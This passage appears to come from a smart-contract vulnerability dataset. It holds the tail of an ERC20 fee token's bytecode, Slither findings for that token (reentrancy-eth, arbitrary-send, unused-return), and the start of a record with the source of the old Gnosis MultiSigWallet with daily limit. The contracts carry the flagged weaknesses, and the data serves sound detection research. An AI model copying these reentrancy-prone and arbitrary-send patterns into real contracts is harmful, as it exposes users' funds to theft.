ffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690612ddb565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144d9190612efb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c190612e9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561153a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153190612d9b565b60405180910390fd5b6000811161157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490612e7b565b60405180910390fd5b6001600a819055506009600b8190555061159561092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160357506115d361092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4f57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ac5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116b557600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117605750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117b65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117ce5750601160179054906101000a900460ff165b1561187e576012548111156117e257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061182d57600080fd5b601e4261183a9190613031565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119295750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561197f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611995576001600a819055506009600b819055505b60006119a030610786565b9050601160159054906101000a900460ff16158015611a0d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a255750601160169054906101000a900460ff165b15611a4d57611a3381611cdf565b60004790506000811115611a4b57611a4a47611b76565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611af65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b0057600090505b611b0c8484848461202c565b50505050565b6000838311158290611b5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b519190612d79565b60405180910390fd5b5060008385611b699190613112565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bc6600284611fe290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bf1573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c42600284611fe290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c6d573d6000803e3d6000fd5b5050565b6000600854821115611cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611caf90612dbb565b60405180910390fd5b6000611cc2612059565b9050611cd78184611fe290919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d1757611d166132e7565b5b604051908082528060200260200182016040528015611d455781602001602082028036833780820191505090505b5090503081600081518110611d5d57611d5c6132b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611dff57600080fd5b505afa158015611e13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e3791906127e3565b81600181518110611e4b57611e4a6132b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611eb230601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128f565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f16959493929190612f16565b600060405180830381600087803b158015611f3057600080fd5b505af1158015611f44573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611f7a5760009050611fdc565b60008284611f8891906130b8565b9050828482611f979190613087565b14611fd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fce90612e3b565b60405180910390fd5b809150505b92915050565b600061202483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612084565b905092915050565b8061203a576120396120e7565b5b61204584848461212a565b80612053576120526122f5565b5b50505050565b6000806000612066612309565b9150915061207d8183611fe290919063ffffffff16565b9250505090565b600080831182906120cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c29190612d79565b60405180910390fd5b50600083856120da9190613087565b9050809150509392505050565b6000600a541480156120fb57506000600b54145b1561210557612128565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061213c87612374565b95509550955095509550955061219a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123dc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227b81612484565b6122858483612541565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e29190612efb565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123456b033b2e3c9fd0803ce8000000600854611fe290919063ffffffff16565b821015612367576008546b033b2e3c9fd0803ce8000000935093505050612370565b81819350935050505b9091565b60008060008060008060008060006123918a600a54600b5461257b565b92509250925060006123a1612059565b905060008060006123b48e878787612611565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061241e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b12565b905092915050565b60008082846124359190613031565b90508381101561247a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247190612dfb565b60405180910390fd5b8091505092915050565b600061248e612059565b905060006124a58284611f6790919063ffffffff16565b90506124f981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612556826008546123dc90919063ffffffff16565b6008819055506125718160095461242690919063ffffffff16565b6009819055505050565b6000806000806125a76064612599888a611f6790919063ffffffff16565b611fe290919063ffffffff16565b905060006125d160646125c3888b611f6790919063ffffffff16565b611fe290919063ffffffff16565b905060006125fa826125ec858c6123dc90919063ffffffff16565b6123dc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061262a8589611f6790919063ffffffff16565b905060006126418689611f6790919063ffffffff16565b905060006126588789611f6790919063ffffffff16565b905060006126818261267385876123dc90919063ffffffff16565b6123dc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126ad6126a884612fb0565b612f8b565b905080838252602082019050828560208602820111156126d0576126cf61331b565b5b60005b8581101561270057816126e6888261270a565b8452602084019350602083019250506001810190506126d3565b5050509392505050565b60008135905061271981613608565b92915050565b60008151905061272e81613608565b92915050565b600082601f83011261274957612748613316565b5b813561275984826020860161269a565b91505092915050565b6000813590506127718161361f565b92915050565b6000815190506127868161361f565b92915050565b60008135905061279b81613636565b92915050565b6000815190506127b081613636565b92915050565b6000602082840312156127cc576127cb613325565b5b60006127da8482850161270a565b91505092915050565b6000602082840312156127f9576127f8613325565b5b60006128078482850161271f565b91505092915050565b6000806040838503121561282757612826613325565b5b60006128358582860161270a565b92505060206128468582860161270a565b9150509250929050565b60008060006060848603121561286957612868613325565b5b60006128778682870161270a565b93505060206128888682870161270a565b92505060406128998682870161278c565b9150509250925092565b600080604083850312156128ba576128b9613325565b5b60006128c88582860161270a565b92505060206128d98582860161278c565b9150509250929050565b6000602082840312156128f9576128f8613325565b5b600082013567ffffffffffffffff81111561291757612916613320565b5b61292384828501612734565b91505092915050565b60006020828403121561294257612941613325565b5b600061295084828501612762565b91505092915050565b60006020828403121561296f5761296e613325565b5b600061297d84828501612777565b91505092915050565b60006020828403121561299c5761299b613325565b5b60006129aa8482850161278c565b91505092915050565b6000806000606084860312156129cc576129cb613325565b5b60006129da868287016127a1565b93505060206129eb868287016127a1565b92505060406129fc868287016127a1565b9150509250925092565b6000612a128383612a1e565b60208301905092915050565b612a2781613146565b82525050565b612a3681613146565b82525050565b6000612a4782612fec565b612a51818561300f565b9350612a5c83612fdc565b8060005b83811015612a8d578151612a748882612a06565b9750612a7f83613002565b925050600181019050612a60565b5085935050505092915050565b612aa381613158565b82525050565b612ab28161319b565b82525050565b6000612ac382612ff7565b612acd8185613020565b9350612add8185602086016131ad565b612ae68161332a565b840191505092915050565b6000612afe602383613020565b9150612b098261333b565b604082019050919050565b6000612b21602a83613020565b9150612b2c8261338a565b604082019050919050565b6000612b44602283613020565b9150612b4f826133d9565b604082019050919050565b6000612b67601b83613020565b9150612b7282613428565b602082019050919050565b6000612b8a601d83613020565b9150612b9582613451565b602082019050919050565b6000612bad602183613020565b9150612bb88261347a565b604082019050919050565b6000612bd0602083613020565b9150612bdb826134c9565b602082019050919050565b6000612bf3602983613020565b9150612bfe826134f2565b604082019050919050565b6000612c16602583613020565b9150612c2182613541565b604082019050919050565b6000612c39602483613020565b9150612c4482613590565b604082019050919050565b6000612c5c601783613020565b9150612c67826135df565b602082019050919050565b612c7b81613184565b82525050565b612c8a8161318e565b82525050565b6000602082019050612ca56000830184612a2d565b92915050565b6000604082019050612cc06000830185612a2d565b612ccd6020830184612a2d565b9392505050565b6000604082019050612ce96000830185612a2d565b612cf66020830184612c72565b9392505050565b600060c082019050612d126000830189612a2d565b612d1f6020830188612c72565b612d2c6040830187612aa9565b612d396060830186612aa9565b612d466080830185612a2d565b612d5360a0830184612c72565b979650505050505050565b6000602082019050612d736000830184612a9a565b92915050565b60006020820190508181036000830152612d938184612ab8565b905092915050565b60006020820190508181036000830152612db481612af1565b9050919050565b60006020820190508181036000830152612dd481612b14565b9050919050565b60006020820190508181036000830152612df481612b37565b9050919050565b60006020820190508181036000830152612e1481612b5a565b9050919050565b60006020820190508181036000830152612e3481612b7d565b9050919050565b60006020820190508181036000830152612e5481612ba0565b9050919050565b60006020820190508181036000830152612e7481612bc3565b9050919050565b60006020820190508181036000830152612e9481612be6565b9050919050565b60006020820190508181036000830152612eb481612c09565b9050919050565b60006020820190508181036000830152612ed481612c2c565b9050919050565b60006020820190508181036000830152612ef481612c4f565b9050919050565b6000602082019050612f106000830184612c72565b92915050565b600060a082019050612f2b6000830188612c72565b612f386020830187612aa9565b8181036040830152612f4a8186612a3c565b9050612f596060830185612a2d565b612f666080830184612c72565b9695505050505050565b6000602082019050612f856000830184612c81565b92915050565b6000612f95612fa6565b9050612fa182826131e0565b919050565b6000604051905090565b600067ffffffffffffffff821115612fcb57612fca6132e7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061303c82613184565b915061304783613184565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561307c5761307b61325a565b5b828201905092915050565b600061309282613184565b915061309d83613184565b9250826130ad576130ac613289565b5b828204905092915050565b60006130c382613184565b91506130ce83613184565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131075761310661325a565b5b828202905092915050565b600061311d82613184565b915061312883613184565b92508282101561313b5761313a61325a565b5b828203905092915050565b600061315182613164565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131a682613184565b9050919050565b60005b838110156131cb5780820151818401526020810190506131b0565b838111156131da576000848401525b50505050565b6131e98261332a565b810181811067ffffffffffffffff82111715613208576132076132e7565b5b80604052505050565b600061321c82613184565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561324f5761324e61325a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61361181613146565b811461361c57600080fd5b50565b61362881613158565b811461363357600080fd5b50565b61363f81613184565b811461364a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202422a074a58a3fed45e9d26c7fc364ae5c3d7d2ee2f418aeedc8ad230f9757e164736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,498
0x0cf1125c00b054044aa4f0fc8c4807ec98216fbb
pragma solidity ^0.4.18; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george<span class="__cf_email__" data-cfemail="a3e3c0cccdd0c6cdd0dad08dcdc6d7">[email&#160;protected]</span>> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner){ require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT); require(_required <= ownerCount); require(_required != 0); require(ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable public { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(isOwner[_owners[i]] == false); require(_owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txi = transactions[transactionId]; txi.executed = true; if (txi.destination.call.value(txi.value)(txi.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txi.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } } /// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig. /// @author Stefan George - <<span class="__cf_email__" data-cfemail="6310170605020d4d04060c11040623000c0d10060d101a104d0d0617">[email&#160;protected]</span>> contract MultiSigWalletWithDailyLimit is MultiSigWallet { event DailyLimitChange(uint dailyLimit); uint public dailyLimit; uint public lastDay; uint public spentToday; /* * Public functions */ /// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. /// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis. function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit) public MultiSigWallet(_owners, _required) { dailyLimit = _dailyLimit; } /// @dev Allows to change the daily limit. Transaction has to be sent by wallet. /// @param _dailyLimit Amount in wei. function changeDailyLimit(uint _dailyLimit) public onlyWallet { dailyLimit = _dailyLimit; DailyLimitChange(_dailyLimit); } /// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { Transaction storage txi = transactions[transactionId]; bool confirmed = isConfirmed(transactionId); if (confirmed || txi.data.length == 0 && isUnderLimit(txi.value)) { txi.executed = true; if (!confirmed) spentToday += txi.value; if (txi.destination.call.value(txi.value)(txi.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txi.executed = false; if (!confirmed) spentToday -= txi.value; } } } /* * Internal functions */ /// @dev Returns if amount is within daily limit and resets spentToday after one day. /// @param amount Amount to withdraw. /// @return Returns if amount is under daily limit. function isUnderLimit(uint amount) internal returns (bool) { if (now > lastDay + 24 hours) { lastDay = now; spentToday = 0; } if (spentToday + amount > dailyLimit || spentToday + amount < spentToday) return false; return true; } /* * Web3 call functions */ /// @dev Returns maximum withdraw amount. /// @return Returns amount. function calcMaxWithdraw() public constant returns (uint) { if (now > lastDay + 24 hours) return dailyLimit; if (dailyLimit < spentToday) return 0; return dailyLimit - spentToday; } }
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101ae578063173825d91461021157806320ea8d861461024a5780632f54bf6e1461026d5780633411c81c146102be5780634bc9fdc214610318578063547415251461034157806367eeba0c146103855780636b0c932d146103ae5780637065cb48146103d7578063784547a7146104105780638b51d13f1461044b5780639ace38c214610482578063a0e67e2b14610580578063a8abe69a146105ea578063b5dc40c314610681578063b77bf600146106f9578063ba51a6df14610722578063c01a8c8414610745578063c642747414610768578063cea0862114610801578063d74f8edd14610824578063dc8452cd1461084d578063e20056e614610876578063ee22610b146108ce578063f059cf2b146108f1575b60003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34156101b957600080fd5b6101cf600480803590602001909190505061091a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021c57600080fd5b610248600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610959565b005b341561025557600080fd5b61026b6004808035906020019091905050610bf5565b005b341561027857600080fd5b6102a4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d9d565b604051808215151515815260200191505060405180910390f35b34156102c957600080fd5b6102fe600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dbd565b604051808215151515815260200191505060405180910390f35b341561032357600080fd5b61032b610dec565b6040518082815260200191505060405180910390f35b341561034c57600080fd5b61036f600480803515159060200190919080351515906020019091905050610e29565b6040518082815260200191505060405180910390f35b341561039057600080fd5b610398610ebb565b6040518082815260200191505060405180910390f35b34156103b957600080fd5b6103c1610ec1565b6040518082815260200191505060405180910390f35b34156103e257600080fd5b61040e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b005b341561041b57600080fd5b61043160048080359060200190919050506110d2565b604051808215151515815260200191505060405180910390f35b341561045657600080fd5b61046c60048080359060200190919050506111b8565b6040518082815260200191505060405180910390f35b341561048d57600080fd5b6104a36004808035906020019091905050611284565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018315151515815260200182810382528481815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561056e5780601f106105435761010080835404028352916020019161056e565b820191906000526020600020905b81548152906001019060200180831161055157829003601f168201915b50509550505050505060405180910390f35b341561058b57600080fd5b6105936112e0565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105d65780820151818401526020810190506105bb565b505050509050019250505060405180910390f35b34156105f557600080fd5b61062a600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611374565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561066d578082015181840152602081019050610652565b505050509050019250505060405180910390f35b341561068c57600080fd5b6106a260048080359060200190919050506114d0565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106e55780820151818401526020810190506106ca565b505050509050019250505060405180910390f35b341561070457600080fd5b61070c6116fa565b6040518082815260200191505060405180910390f35b341561072d57600080fd5b6107436004808035906020019091905050611700565b005b341561075057600080fd5b61076660048080359060200190919050506117c3565b005b341561077357600080fd5b6107eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506119a0565b6040518082815260200191505060405180910390f35b341561080c57600080fd5b61082260048080359060200190919050506119bf565b005b341561082f57600080fd5b610837611a3a565b6040518082815260200191505060405180910390f35b341561085857600080fd5b610860611a3f565b6040518082815260200191505060405180910390f35b341561088157600080fd5b6108cc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a45565b005b34156108d957600080fd5b6108ef6004808035906020019091905050611d5c565b005b34156108fc57600080fd5b610904611f8d565b6040518082815260200191505060405180910390f35b60038181548110151561092957fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156109ee57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b76578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a8157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffff